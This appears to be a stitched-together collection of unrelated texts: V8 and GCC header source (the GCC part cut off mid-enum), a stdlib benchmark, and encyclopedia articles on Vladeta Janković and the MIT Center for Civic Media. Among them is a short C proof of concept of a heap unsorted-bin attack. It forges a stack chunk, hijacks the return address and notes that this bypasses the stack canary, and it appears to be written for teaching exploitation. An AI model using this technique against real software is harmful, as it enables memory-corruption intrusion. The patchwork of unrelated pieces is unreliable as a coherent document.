return NumberToString(NewNumberFromUint(value));
}
Handle<JSFunction> InstallMembers(Handle<JSFunction> function);
#define ROOT_ACCESSOR(type, name, camel_name) \
inline Handle<type> name() { \
return Handle<type>(bit_cast<type**>( \
&isolate()->heap()->roots_[Heap::k##camel_name##RootIndex])); \
}
ROOT_LIST(ROOT_ACCESSOR)
#undef ROOT_ACCESSOR
#define STRUCT_MAP_ACCESSOR(NAME, Name, name) \
inline Handle<Map> name##_map() { \
return Handle<Map>(bit_cast<Map**>( \
&isolate()->heap()->roots_[Heap::k##Name##MapRootIndex])); \
}
STRUCT_LIST(STRUCT_MAP_ACCESSOR)
#undef STRUCT_MAP_ACCESSOR
#define STRING_ACCESSOR(name, str) \
inline Handle<String> name() { \
return Handle<String>(bit_cast<String**>( \
&isolate()->heap()->roots_[Heap::k##name##RootIndex])); \
}
INTERNALIZED_STRING_LIST(STRING_ACCESSOR)
#undef STRING_ACCESSOR
#define SYMBOL_ACCESSOR(name) \
inline Handle<Symbol> name() { \
return Handle<Symbol>(bit_cast<Symbol**>( \
&isolate()->heap()->roots_[Heap::k##name##RootIndex])); \
}
PRIVATE_SYMBOL_LIST(SYMBOL_ACCESSOR)
#undef SYMBOL_ACCESSOR
#define SYMBOL_ACCESSOR(name, description) \
inline Handle<Symbol> name() { \
return Handle<Symbol>(bit_cast<Symbol**>( \
&isolate()->heap()->roots_[Heap::k##name##RootIndex])); \
}
PUBLIC_SYMBOL_LIST(SYMBOL_ACCESSOR)
WELL_KNOWN_SYMBOL_LIST(SYMBOL_ACCESSOR)
#undef SYMBOL_ACCESSOR
// Allocates a new SharedFunctionInfo object.
Handle<SharedFunctionInfo> NewSharedFunctionInfo(
Handle<String> name, int number_of_literals, FunctionKind kind,
Handle<Code> code, Handle<ScopeInfo> scope_info);
Handle<SharedFunctionInfo> NewSharedFunctionInfo(Handle<String> name,
MaybeHandle<Code> code,
bool is_constructor);
Handle<SharedFunctionInfo> NewSharedFunctionInfoForLiteral(
FunctionLiteral* literal, Handle<Script> script);
static bool IsFunctionModeWithPrototype(FunctionMode function_mode) {
return (function_mode == FUNCTION_WITH_WRITEABLE_PROTOTYPE ||
function_mode == FUNCTION_WITH_READONLY_PROTOTYPE);
}
Handle<Map> CreateSloppyFunctionMap(FunctionMode function_mode);
Handle<Map> CreateStrictFunctionMap(FunctionMode function_mode,
Handle<JSFunction> empty_function);
Handle<Map> CreateClassFunctionMap(Handle<JSFunction> empty_function);
// Allocates a new JSMessageObject object.
Handle<JSMessageObject> NewJSMessageObject(MessageTemplate::Template message,
Handle<Object> argument,
int start_position,
int end_position,
Handle<Object> script,
Handle<Object> stack_frames);
Handle<DebugInfo> NewDebugInfo(Handle<SharedFunctionInfo> shared);
// Return a map for given number of properties using the map cache in the
// native context.
Handle<Map> ObjectLiteralMapFromCache(Handle<Context> context,
int number_of_properties,
bool* is_result_from_cache);
Handle<RegExpMatchInfo> NewRegExpMatchInfo();
// Creates a new FixedArray that holds the data associated with the
// atom regexp and stores it in the regexp.
void SetRegExpAtomData(Handle<JSRegExp> regexp,
JSRegExp::Type type,
Handle<String> source,
JSRegExp::Flags flags,
Handle<Object> match_pattern);
// Creates a new FixedArray that holds the data associated with the
// irregexp regexp and stores it in the regexp.
void SetRegExpIrregexpData(Handle<JSRegExp> regexp,
JSRegExp::Type type,
Handle<String> source,
JSRegExp::Flags flags,
int capture_count);
// Returns the value for a known global constant (a property of the global
// object which is neither configurable nor writable) like 'undefined'.
// Returns a null handle when the given name is unknown.
Handle<Object> GlobalConstantFor(Handle<Name> name);
// Converts the given boolean condition to JavaScript boolean value.
Handle<Object> ToBoolean(bool value);
// Converts the given ToPrimitive hint to it's string representation.
Handle<String> ToPrimitiveHintString(ToPrimitiveHint hint);
private:
Isolate* isolate() { return reinterpret_cast<Isolate*>(this); }
// Creates a heap object based on the map. The fields of the heap object are
// not initialized by New<>() functions. It's the responsibility of the caller
// to do that.
template<typename T>
Handle<T> New(Handle<Map> map, AllocationSpace space);
template<typename T>
Handle<T> New(Handle<Map> map,
AllocationSpace space,
Handle<AllocationSite> allocation_site);
MaybeHandle<String> NewStringFromTwoByte(const uc16* string, int length,
PretenureFlag pretenure);
// Creates a code object that is not yet fully initialized yet.
inline Handle<Code> NewCodeRaw(int object_size, bool immovable);
// Attempt to find the number in a small cache. If we finds it, return
// the string representation of the number. Otherwise return undefined.
Handle<Object> GetNumberStringCache(Handle<Object> number);
// Update the cache with a new number-string pair.
void SetNumberStringCache(Handle<Object> number, Handle<String> string);
// Create a JSArray with no elements and no length.
Handle<JSArray> NewJSArray(ElementsKind elements_kind,
PretenureFlag pretenure = NOT_TENURED);
void SetFunctionInstanceDescriptor(Handle<Map> map,
FunctionMode function_mode);
void SetStrictFunctionInstanceDescriptor(Handle<Map> map,
FunctionMode function_mode);
void SetClassFunctionInstanceDescriptor(Handle<Map> map);
};
} // namespace internal
} // namespace v8
#endif // V8_FACTORY_H_
```
|
Vladeta Janković (; born 1 September 1940) is a Serbian politician. A former member of the Democratic Party of Serbia (DSS), Janković previously served as the Yugoslav ambassador to the United Kingdom from 2001 to 2004 and the Serbian ambassador to the Holy See from 2008 to 2012.
Janković left DSS in 2014 after its former president, Vojislav Koštunica, announced that he was leaving the party, leading Janković to retire from politics. His eight-year break from politics ended in January 2022 when the United Serbia (US) opposition coalition named Janković as their ballot carrier and candidate for Mayor of Belgrade at the City Assembly election. Following the election, he was elected as a member of the National Assembly. Janković served as the acting president of the National Assembly of Serbia from 1 to 2 August 2022. Additionally, Janković is a literary scholar, university professor, writer, and a former diplomat.
Early life and career
Vladeta Janković was born on 1 September 1940 in Belgrade, Kingdom of Yugoslavia. His father Dragoslav Janković was a left-wing university professor and his mother Bosiljka Janković (née Kokanović) was a librarian. His father was from Vranje, while his mother was of Bosnian Serb, Croatian Serb and Aromanian heritage. One of his maternal great-grandfathers was a member of Young Bosnia.
He graduated from a gymnasium in Belgrade in 1959. Janković enrolled at the University of Belgrade Faculty of Philology, where he studied world literature and graduated in 1964. He finished his master's degree in 1967, and defended his doctoral thesis in 1975 titled "Menander's Characters and European Drama". At the same department, he went from assistant trainee to full professor and department head.
For years, he collaborated with Radio Television Belgrade as the author of cultural and historical programs for youth. He has been a lecturer in the United States, England, the Netherlands and Greece.
Political and diplomatic career
He entered politics in the early 1990s as a member of the Main Board of the Democratic Party (DS). Following the split in DS, Janković became one of the founders of the Democratic Party of Serbia (DSS). He served as a member of the National Assembly of Serbia and the Federal Assembly of FR Yugoslavia.
Following the overthrow of Slobodan Milošević, he was appointed Yugoslav Ambassador to the United Kingdom in 2001. He later called his service in the UK "extremely hard and stressful". In 2004, he was named chief foreign policy adviser to the prime minister of Serbia, Vojislav Koštunica. In 2005, he was elected vice president of the Democratic Party of Serbia (DSS). He was Serbia's Ambassador to the Holy See from February 2008 to August 2012.
He left the Democratic Party of Serbia on 14 October 2014 shortly after the party's founder and long term president, Vojislav Koštunica, announced his departure from the party.
In late January 2022, the Party of Freedom and Justice (SSP), the People's Party (NS), the Democratic Party and the Movement of Free Citizens (PSG) proposed Janković as their ballot carrier and candidate for Mayor of Belgrade at the upcoming Belgrade City Assembly election, with Janković accepting the offer on 31 January, stating that he is "optimistic" regarding the upcoming election. After being officially presented by the United Serbia (US) coalition as their candidate for Mayor of Belgrade on 2 February, Janković stated that, in case he is elected mayor, "everything in Belgrade will be transparent and that every detail about the contracts will be known". Janković became father of the National Assembly in August 2022.
Political positions
Janković has been described as a conservative and right-wing politician. He opposes the rule of the Serbian Progressive Party (SNS) and its leader Aleksandar Vučić accusing him that he behaves like "bullies in schoolyards who are intimidating and blackmailing those weaker than them in order to present themselves as protectors and saviors".
Foreign views
Janković believes that the accession of Serbia to the European Union is an "unrealistic project" and that the "EU will cease to exist before Serbia becomes it's member". In 2014, Janković stated that "it should be given up on the idea that Serbia will collapse if it does not join the EU, because it is not Switzerland."
Kosovo question
Janković has repeatedly stated that Kosovo's independence is unacceptable and inadmissible for him, sharply criticizing Vučić's agreements with Kosovo, European Union and the United States, while also opposing the participation of Kosovo Serbs in the elections organized by the authorities of Kosovo. In January 2021, Janković stated that Kosovo "de facto, does not belong to us and everyone can see it, but de jure, according to international law, it certainly belongs to us." In September 2021, he stated that serious armed confrontation will not take place while NATO troops are stationed in Kosovo.
Personal life
Janković is married to lawyer Slavka (née Srdić), with whom he has a son Uroš and daughter Mara.
Orders
Selected works
Poetska funkcija kovanica Laze Kostića (The Poetic Function of Laza Kostić's Coins), Belgrade 1969.
Menandrovi likovi i evropska drama (Menander's Characters and European Drama), SANU, Belgrade 1978.
Terencije: Komedije (prevod, komentar, predgovor), Belgrade 1978.
Petrijin venac Dragoslava Mihailovića (Petrija's Wreath by Dragoslav Mihailović), Zavod za udžbenike i nastavna sredstva, Belgrade 1985.
Nasmejanja životinja: o antičkoj komediji (Smiling Animal: About Ancient Comedy), Književna zajednica Novog Sada, Novi Sad 1987.
Hrosvita: Drame (prevod, komentar i predgovor), Latina et Graeca, Zagreb 1988.
Imenik klasične starine, Belgrade 1992
Mitovi i legende: judaizam, hrišćanstvo, islam (Myths and Legends: Judaism, Christianity, Islam), Srpska književna zadruga, Belgrade 1996.
Beočug, Srpska književna zadruga, Belgrade 2011.
Antičke izreke (Ancient proverbs), Laguna, Belgrade 2018.
Latinski glosar (Latin glossary), Laguna, Belgrade 2021.
References
External links
Interview with Vladeta Jankovic for the BBC
Introduction to Vladeta Jankovic’s lecture at Cambridge University
Vladeta Jankovic’s lecture at Cambridge University
1940 births
Living people
Politicians from Belgrade
Democratic Party (Serbia) politicians
Democratic Party of Serbia politicians
Ambassadors of Yugoslavia to the United Kingdom
Ambassadors of Serbia to the Holy See
Diplomats from Belgrade
Serbian writers
Serbian philologists
University of Belgrade Faculty of Philology alumni
Serbian people of Bosnia and Herzegovina descent
Serbian people of Croatian descent
Serbian people of Aromanian descent
|
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
void jackpot(){ printf("Nice jump d00d\n"); exit(0); }
int main() {
intptr_t stack_buffer[4] = {0};
printf("Allocating the victim chunk\n");
intptr_t* victim = malloc(0x100);
printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
intptr_t* p1 = malloc(0x100);
printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free(victim);
printf("Create a fake chunk on the stack");
printf("Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;
//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
//------------------------------------
printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
printf("malloc(0x100): %p\n", p2);
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
assert((long)__builtin_return_address(0) == (long)jackpot);
}
```
|
The MIT Center for Civic Media (formerly the Center for Future Civic Media) was a research and practical center that developed and implemented tools that supported political action and "the information needs of [civic] communities". Its mission read in part:
The MIT Center for Civic Media creates and deploys technical and social tools that fill the information needs of communities.
We are inventors of new technologies that support and foster civic media and political action; we are a hub for the study of these technologies; and we coordinate community-based test beds both in the United States and internationally.
At the end of August, 2020, the Center for Civic Media closed down.
History
The Center for Civic Media was founded in 2007 as a joint effort of the MIT Media Lab and the MIT Comparative Media Studies program. Its initial funding, a four-year grant from the Knight Foundation, was won in a contest "to foster blogs and other digital efforts that seek to bring together residents of a city or town in ways that local newspapers historically have done." The founders planned to "develop new technologies and practices to help newspapers attract readers as a greater number of Americans use the Internet as their primary news source." It expanded in 2011.
Staffed by academic, technical, and professional staff, the Center was originally led by Christopher Csikszentmihályi, along with the Media Lab's Mitchel Resnick and Comparative Media Studies' Henry Jenkins. Ethan Zuckerman was announced as the Center's new director in June 2011. Others affiliated with the center include Sasha Costanza-Chock, Benjamin Mako Hill, William Uricchio, Jing Wang, Joy Buolamwini, and Jeffrey Warren.
In August, 2019, Zuckerman announced his intention to leave MIT, motivated by the Media Lab's ties to Jeffrey Epstein. The Center for Civic Media closed down at the end of August, 2020.
Research and development
The Center creates tools for deployment and testing in geographic communities. Like the Media Lab, the work is iterative, experimental, and draws in large part on the work of current graduate students. But unlike much other work at the Media Lab, Center tools are expected to have immediate applications, even if narrowly focused on a specific community's need.
With varying levels of adoption, deployed civic media tools and communities have included:
Grassroots Mapping (Gulf of Mexico oil spill; the Gowanus Canal, Brooklyn, Superfund site), a collection of cartographic tools and practices—such as best practices for using balloons, kites, inexpensive cameras, and open-source software—for citizens to produce their own aerial imagery. Grassroots Mapping grew into the larger Public Lab, which won a $500,000 Knight News Challenge grant for its work.
Lost in Boston: Realtime (Boston, MA; South Wood County, WI, under the name Sameboat), displays local information in shared areas at low cost, such as using LED screens to display live bus arrival data in places people prefer to be, such as stores or coffeeshops near bus stops rather than at bus stops themselves.
Sourcemap, which maps supply chains of consumer goods.
Between the Bars, a blogging platform for prisoners
Crónicas de Héroes/Hero Reports, a method for reporting small acts of civic heroism. (Utilized in Juárez, Mexico, and elsewhere)
People's Bot (telepresence robot)
References
Further reading
Schmitt, D.A. "Center for Future Civic Media." CHOICE: Current Reviews for Academic Libraries Apr. 2009: 1490+.
Active citizenship
Massachusetts Institute of Technology research institutes
Citizen media
2007 establishments in Massachusetts
Community organizations
MIT Media Lab
|
```javascript
/**
* @license Apache-2.0
*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
'use strict';
// MODULES //
var resolve = require( 'path' ).resolve;
var bench = require( '@stdlib/bench' );
var randu = require( '@stdlib/random/base/randu' );
var isnanf = require( '@stdlib/math/base/assert/is-nanf' );
var pow = require( '@stdlib/math/base/special/pow' );
var floor = require( '@stdlib/math/base/special/floor' );
var Float32Array = require( '@stdlib/array/float32' );
var scopy = require( '@stdlib/blas/base/scopy' );
var tryRequire = require( '@stdlib/utils/try-require' );
var pkg = require( './../package.json' ).name;
// VARIABLES //
var ssortsh = tryRequire( resolve( __dirname, './../lib/ssortsh.native.js' ) );
var opts = {
'skip': ( ssortsh instanceof Error )
};
// FUNCTIONS //
/**
* Create a benchmark function.
*
* @private
* @param {PositiveInteger} iter - number of iterations
* @param {PositiveInteger} len - array length
* @returns {Function} benchmark function
*/
function createBenchmark( iter, len ) {
var tmp;
var x;
var i;
var j;
x = [];
for ( i = 0; i < iter; i++ ) {
tmp = new Float32Array( len );
for ( j = 0; j < len; j++ ) {
tmp[ j ] = -1.0 * randu() * j;
}
x.push( tmp );
}
return benchmark;
function benchmark( b ) {
var xc;
var y;
var i;
xc = x.slice();
for ( i = 0; i < iter; i++ ) {
xc[ i ] = scopy( len, x[ i ], 1, new Float32Array( len ), 1 );
}
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
y = ssortsh( len, 1, xc[ i ], 1 );
if ( isnanf( y[ i%len ] ) ) {
b.fail( 'should not return NaN' );
}
}
b.toc();
if ( isnanf( y[ i%len ] ) ) {
b.fail( 'should not return NaN' );
}
b.pass( 'benchmark finished' );
b.end();
}
}
// MAIN //
function main() {
var bopts;
var iter;
var len;
var min;
var max;
var f;
var i;
iter = 1e6;
min = 1; // 10^min
max = 4; // 10^max
for ( i = min; i <= max; i++ ) {
len = pow( 10, i );
f = createBenchmark( iter, len );
bopts = {
'skip': opts.skip,
'iterations': iter
};
bench( pkg+'::native,reverse_mostly_sorted,random:len='+len, bopts, f );
iter = floor( pow( iter, 3.0/4.0 ) );
}
}
main();
```
|
```objective-c
/* Vectorizer
Contributed by Dorit Naishlos <dorit@il.ibm.com>
This file is part of GCC.
GCC is free software; you can redistribute it and/or modify it under
Software Foundation; either version 3, or (at your option) any later
version.
GCC is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or
for more details.
along with GCC; see the file COPYING3. If not see
<path_to_url */
#ifndef GCC_TREE_VECTORIZER_H
#define GCC_TREE_VECTORIZER_H
#include "tree-data-ref.h"
#include "target.h"
#include "hash-table.h"
/* Used for naming of new temporaries. */
enum vect_var_kind {
vect_simple_var,
vect_pointer_var,
vect_scalar_var
};
/* Defines type of operation. */
enum operation_type {
unary_op = 1,
binary_op,
ternary_op
};
/* Define type of available alignment support. */
enum dr_alignment_support {
dr_unaligned_unsupported,
dr_unaligned_supported,
dr_explicit_realign,
dr_explicit_realign_optimized,
dr_aligned
};
/* Define type of def-use cross-iteration cycle. */
enum vect_def_type {
vect_uninitialized_def = 0,
vect_constant_def = 1,
vect_external_def,
vect_internal_def,
vect_induction_def,
vect_reduction_def,
vect_double_reduction_def,
vect_nested_cycle,
vect_unknown_def_type
};
#define VECTORIZABLE_CYCLE_DEF(D) (((D) == vect_reduction_def) \
|| ((D) == vect_double_reduction_def) \
|| ((D) == vect_nested_cycle))
/* Structure to encapsulate information about a group of like
instructions to be presented to the target cost model. */
typedef struct _stmt_info_for_cost {
int count;
enum vect_cost_for_stmt kind;
gimple stmt;
int misalign;
} stmt_info_for_cost;
typedef vec<stmt_info_for_cost> stmt_vector_for_cost;
static inline void
add_stmt_info_to_vec (stmt_vector_for_cost *stmt_cost_vec, int count,
enum vect_cost_for_stmt kind, gimple stmt, int misalign)
{
stmt_info_for_cost si;
si.count = count;
si.kind = kind;
si.stmt = stmt;
si.misalign = misalign;
stmt_cost_vec->safe_push (si);
}
/************************************************************************
SLP
************************************************************************/
typedef struct _slp_tree *slp_tree;
/* A computation tree of an SLP instance. Each node corresponds to a group of
stmts to be packed in a SIMD stmt. */
struct _slp_tree {
/* Nodes that contain def-stmts of this node statements operands. */
vec<slp_tree> children;
/* A group of scalar stmts to be vectorized together. */
vec<gimple> stmts;
/* Load permutation relative to the stores, NULL if there is no
permutation. */
vec<unsigned> load_permutation;
/* Vectorized stmt/s. */
vec<gimple> vec_stmts;
/* Number of vector stmts that are created to replace the group of scalar
stmts. It is calculated during the transformation phase as the number of
scalar elements in one scalar iteration (GROUP_SIZE) multiplied by VF
divided by vector size. */
unsigned int vec_stmts_size;
};
/* SLP instance is a sequence of stmts in a loop that can be packed into
SIMD stmts. */
typedef struct _slp_instance {
/* The root of SLP tree. */
slp_tree root;
/* Size of groups of scalar stmts that will be replaced by SIMD stmt/s. */
unsigned int group_size;
/* The unrolling factor required to vectorized this SLP instance. */
unsigned int unrolling_factor;
/* Vectorization costs associated with SLP instance. */
stmt_vector_for_cost body_cost_vec;
/* The group of nodes that contain loads of this SLP instance. */
vec<slp_tree> loads;
/* The first scalar load of the instance. The created vector loads will be
inserted before this statement. */
gimple first_load;
} *slp_instance;
/* Access Functions. */
#define SLP_INSTANCE_TREE(S) (S)->root
#define SLP_INSTANCE_GROUP_SIZE(S) (S)->group_size
#define SLP_INSTANCE_UNROLLING_FACTOR(S) (S)->unrolling_factor
#define SLP_INSTANCE_BODY_COST_VEC(S) (S)->body_cost_vec
#define SLP_INSTANCE_LOADS(S) (S)->loads
#define SLP_INSTANCE_FIRST_LOAD_STMT(S) (S)->first_load
#define SLP_TREE_CHILDREN(S) (S)->children
#define SLP_TREE_SCALAR_STMTS(S) (S)->stmts
#define SLP_TREE_VEC_STMTS(S) (S)->vec_stmts
#define SLP_TREE_NUMBER_OF_VEC_STMTS(S) (S)->vec_stmts_size
#define SLP_TREE_LOAD_PERMUTATION(S) (S)->load_permutation
/* This structure is used in creation of an SLP tree. Each instance
corresponds to the same operand in a group of scalar stmts in an SLP
node. */
typedef struct _slp_oprnd_info
{
/* Def-stmts for the operands. */
vec<gimple> def_stmts;
/* Information about the first statement, its vector def-type, type, the
operand itself in case it's constant, and an indication if it's a pattern
stmt. */
enum vect_def_type first_dt;
tree first_op_type;
bool first_pattern;
} *slp_oprnd_info;
/* This struct is used to store the information of a data reference,
including the data ref itself, the access offset (calculated by summing its
offset and init) and the segment length for aliasing checks.
This is used to merge alias checks. */
struct dr_with_seg_len
{
dr_with_seg_len (data_reference_p d, tree len)
: dr (d),
offset (size_binop (PLUS_EXPR, DR_OFFSET (d), DR_INIT (d))),
seg_len (len) {}
data_reference_p dr;
tree offset;
tree seg_len;
};
/* This struct contains two dr_with_seg_len objects with aliasing data
refs. Two comparisons are generated from them. */
struct dr_with_seg_len_pair_t
{
dr_with_seg_len_pair_t (const dr_with_seg_len& d1,
const dr_with_seg_len& d2)
: first (d1), second (d2) {}
dr_with_seg_len first;
dr_with_seg_len second;
};
typedef struct _vect_peel_info
{
int npeel;
struct data_reference *dr;
unsigned int count;
} *vect_peel_info;
typedef struct _vect_peel_extended_info
{
struct _vect_peel_info peel_info;
unsigned int inside_cost;
unsigned int outside_cost;
stmt_vector_for_cost body_cost_vec;
} *vect_peel_extended_info;
/* Peeling hashtable helpers. */
struct peel_info_hasher : typed_free_remove <_vect_peel_info>
{
typedef _vect_peel_info value_type;
typedef _vect_peel_info compare_type;
static inline hashval_t hash (const value_type *);
static inline bool equal (const value_type *, const compare_type *);
};
inline hashval_t
peel_info_hasher::hash (const value_type *peel_info)
{
return (hashval_t) peel_info->npeel;
}
inline bool
peel_info_hasher::equal (const value_type *a, const compare_type *b)
{
return (a->npeel == b->npeel);
}
/*your_sha256_hash-*/
/* Info on vectorized loops. */
/*your_sha256_hash-*/
typedef struct _loop_vec_info {
/* The loop to which this info struct refers to. */
struct loop *loop;
/* The loop basic blocks. */
basic_block *bbs;
/* Number of latch executions. */
tree num_itersm1;
/* Number of iterations. */
tree num_iters;
/* Number of iterations of the original loop. */
tree num_iters_unchanged;
/* Minimum number of iterations below which vectorization is expected to
not be profitable (as estimated by the cost model).
-1 indicates that vectorization will not be profitable.
FORNOW: This field is an int. Will be a tree in the future, to represent
values unknown at compile time. */
int min_profitable_iters;
/* Threshold of number of iterations below which vectorzation will not be
performed. It is calculated from MIN_PROFITABLE_ITERS and
PARAM_MIN_VECT_LOOP_BOUND. */
unsigned int th;
/* Is the loop vectorizable? */
bool vectorizable;
/* Unrolling factor */
int vectorization_factor;
/* Unknown DRs according to which loop was peeled. */
struct data_reference *unaligned_dr;
/* peeling_for_alignment indicates whether peeling for alignment will take
place, and what the peeling factor should be:
peeling_for_alignment = X means:
If X=0: Peeling for alignment will not be applied.
If X>0: Peel first X iterations.
If X=-1: Generate a runtime test to calculate the number of iterations
to be peeled, using the dataref recorded in the field
unaligned_dr. */
int peeling_for_alignment;
/* The mask used to check the alignment of pointers or arrays. */
int ptr_mask;
/* The loop nest in which the data dependences are computed. */
vec<loop_p> loop_nest;
/* All data references in the loop. */
vec<data_reference_p> datarefs;
/* All data dependences in the loop. */
vec<ddr_p> ddrs;
/* Data Dependence Relations defining address ranges that are candidates
for a run-time aliasing check. */
vec<ddr_p> may_alias_ddrs;
/* Data Dependence Relations defining address ranges together with segment
lengths from which the run-time aliasing check is built. */
vec<dr_with_seg_len_pair_t> comp_alias_ddrs;
/* Statements in the loop that have data references that are candidates for a
runtime (loop versioning) misalignment check. */
vec<gimple> may_misalign_stmts;
/* All interleaving chains of stores in the loop, represented by the first
stmt in the chain. */
vec<gimple> grouped_stores;
/* All SLP instances in the loop. This is a subset of the set of GROUP_STORES
of the loop. */
vec<slp_instance> slp_instances;
/* The unrolling factor needed to SLP the loop. In case of that pure SLP is
applied to the loop, i.e., no unrolling is needed, this is 1. */
unsigned slp_unrolling_factor;
/* Reduction cycles detected in the loop. Used in loop-aware SLP. */
vec<gimple> reductions;
/* All reduction chains in the loop, represented by the first
stmt in the chain. */
vec<gimple> reduction_chains;
/* Hash table used to choose the best peeling option. */
hash_table<peel_info_hasher> *peeling_htab;
/* Cost data used by the target cost model. */
void *target_cost_data;
/* When we have grouped data accesses with gaps, we may introduce invalid
memory accesses. We peel the last iteration of the loop to prevent
this. */
bool peeling_for_gaps;
/* When the number of iterations is not a multiple of the vector size
we need to peel off iterations at the end to form an epilogue loop. */
bool peeling_for_niter;
/* Reductions are canonicalized so that the last operand is the reduction
operand. If this places a constant into RHS1, this decanonicalizes
GIMPLE for other phases, so we must track when this has occurred and
fix it up. */
bool operands_swapped;
/* True if there are no loop carried data dependencies in the loop.
If loop->safelen <= 1, then this is always true, either the loop
didn't have any loop carried data dependencies, or the loop is being
vectorized guarded with some runtime alias checks, or couldn't
be vectorized at all, but then this field shouldn't be used.
For loop->safelen >= 2, the user has asserted that there are no
backward dependencies, but there still could be loop carried forward
dependencies in such loops. This flag will be false if normal
vectorizer data dependency analysis would fail or require versioning
for alias, but because of loop->safelen >= 2 it has been vectorized
even without versioning for alias. E.g. in:
#pragma omp simd
for (int i = 0; i < m; i++)
a[i] = a[i + k] * c;
(or #pragma simd or #pragma ivdep) we can vectorize this and it will
DTRT even for k > 0 && k < m, but without safelen we would not
vectorize this, so this field would be false. */
bool no_data_dependencies;
/* If if-conversion versioned this loop before conversion, this is the
loop version without if-conversion. */
struct loop *scalar_loop;
} *loop_vec_info;
/* Access Functions. */
#define LOOP_VINFO_LOOP(L) (L)->loop
#define LOOP_VINFO_BBS(L) (L)->bbs
#define LOOP_VINFO_NITERSM1(L) (L)->num_itersm1
#define LOOP_VINFO_NITERS(L) (L)->num_iters
/* Since LOOP_VINFO_NITERS and LOOP_VINFO_NITERSM1 can change after
prologue peeling retain total unchanged scalar loop iterations for
cost model. */
#define LOOP_VINFO_NITERS_UNCHANGED(L) (L)->num_iters_unchanged
#define LOOP_VINFO_COST_MODEL_MIN_ITERS(L) (L)->min_profitable_iters
#define LOOP_VINFO_COST_MODEL_THRESHOLD(L) (L)->th
#define LOOP_VINFO_VECTORIZABLE_P(L) (L)->vectorizable
#define LOOP_VINFO_VECT_FACTOR(L) (L)->vectorization_factor
#define LOOP_VINFO_PTR_MASK(L) (L)->ptr_mask
#define LOOP_VINFO_LOOP_NEST(L) (L)->loop_nest
#define LOOP_VINFO_DATAREFS(L) (L)->datarefs
#define LOOP_VINFO_DDRS(L) (L)->ddrs
#define LOOP_VINFO_INT_NITERS(L) (TREE_INT_CST_LOW ((L)->num_iters))
#define LOOP_VINFO_PEELING_FOR_ALIGNMENT(L) (L)->peeling_for_alignment
#define LOOP_VINFO_UNALIGNED_DR(L) (L)->unaligned_dr
#define LOOP_VINFO_MAY_MISALIGN_STMTS(L) (L)->may_misalign_stmts
#define LOOP_VINFO_MAY_ALIAS_DDRS(L) (L)->may_alias_ddrs
#define LOOP_VINFO_COMP_ALIAS_DDRS(L) (L)->comp_alias_ddrs
#define LOOP_VINFO_GROUPED_STORES(L) (L)->grouped_stores
#define LOOP_VINFO_SLP_INSTANCES(L) (L)->slp_instances
#define LOOP_VINFO_SLP_UNROLLING_FACTOR(L) (L)->slp_unrolling_factor
#define LOOP_VINFO_REDUCTIONS(L) (L)->reductions
#define LOOP_VINFO_REDUCTION_CHAINS(L) (L)->reduction_chains
#define LOOP_VINFO_PEELING_HTAB(L) (L)->peeling_htab
#define LOOP_VINFO_TARGET_COST_DATA(L) (L)->target_cost_data
#define LOOP_VINFO_PEELING_FOR_GAPS(L) (L)->peeling_for_gaps
#define LOOP_VINFO_OPERANDS_SWAPPED(L) (L)->operands_swapped
#define LOOP_VINFO_PEELING_FOR_NITER(L) (L)->peeling_for_niter
#define LOOP_VINFO_NO_DATA_DEPENDENCIES(L) (L)->no_data_dependencies
#define LOOP_VINFO_SCALAR_LOOP(L) (L)->scalar_loop
#define LOOP_REQUIRES_VERSIONING_FOR_ALIGNMENT(L) \
((L)->may_misalign_stmts.length () > 0)
#define LOOP_REQUIRES_VERSIONING_FOR_ALIAS(L) \
((L)->may_alias_ddrs.length () > 0)
#define LOOP_VINFO_NITERS_KNOWN_P(L) \
(tree_fits_shwi_p ((L)->num_iters) && tree_to_shwi ((L)->num_iters) > 0)
static inline loop_vec_info
loop_vec_info_for_loop (struct loop *loop)
{
return (loop_vec_info) loop->aux;
}
static inline bool
nested_in_vect_loop_p (struct loop *loop, gimple stmt)
{
return (loop->inner
&& (loop->inner == (gimple_bb (stmt))->loop_father));
}
typedef struct _bb_vec_info {
basic_block bb;
/* All interleaving chains of stores in the basic block, represented by the
first stmt in the chain. */
vec<gimple> grouped_stores;
/* All SLP instances in the basic block. This is a subset of the set of
GROUP_STORES of the basic block. */
vec<slp_instance> slp_instances;
/* All data references in the basic block. */
vec<data_reference_p> datarefs;
/* All data dependences in the basic block. */
vec<ddr_p> ddrs;
/* Cost data used by the target cost model. */
void *target_cost_data;
} *bb_vec_info;
#define BB_VINFO_BB(B) (B)->bb
#define BB_VINFO_GROUPED_STORES(B) (B)->grouped_stores
#define BB_VINFO_SLP_INSTANCES(B) (B)->slp_instances
#define BB_VINFO_DATAREFS(B) (B)->datarefs
#define BB_VINFO_DDRS(B) (B)->ddrs
#define BB_VINFO_TARGET_COST_DATA(B) (B)->target_cost_data
static inline bb_vec_info
vec_info_for_bb (basic_block bb)
{
return (bb_vec_info) bb->aux;
}
/*your_sha256_hash-*/
/* Info on vectorized defs. */
/*your_sha256_hash-*/
enum stmt_vec_info_type {
undef_vec_info_type = 0,
load_vec_info_type,
store_vec_info_type,
shift_vec_info_type,
op_vec_info_type,
call_vec_info_type,
call_simd_clone_vec_info_type,
assignment_vec_info_type,
condition_vec_info_type,
reduc_vec_info_type,
induc_vec_info_type,
type_promotion_vec_info_type,
type_demotion_vec_info_type,
type_conversion_vec_info_type,
loop_exit_ctrl_vec_info_type
};
/* Indicates whether/how a variable is used in the scope of loop/basic
block. */
enum vect_relevant {
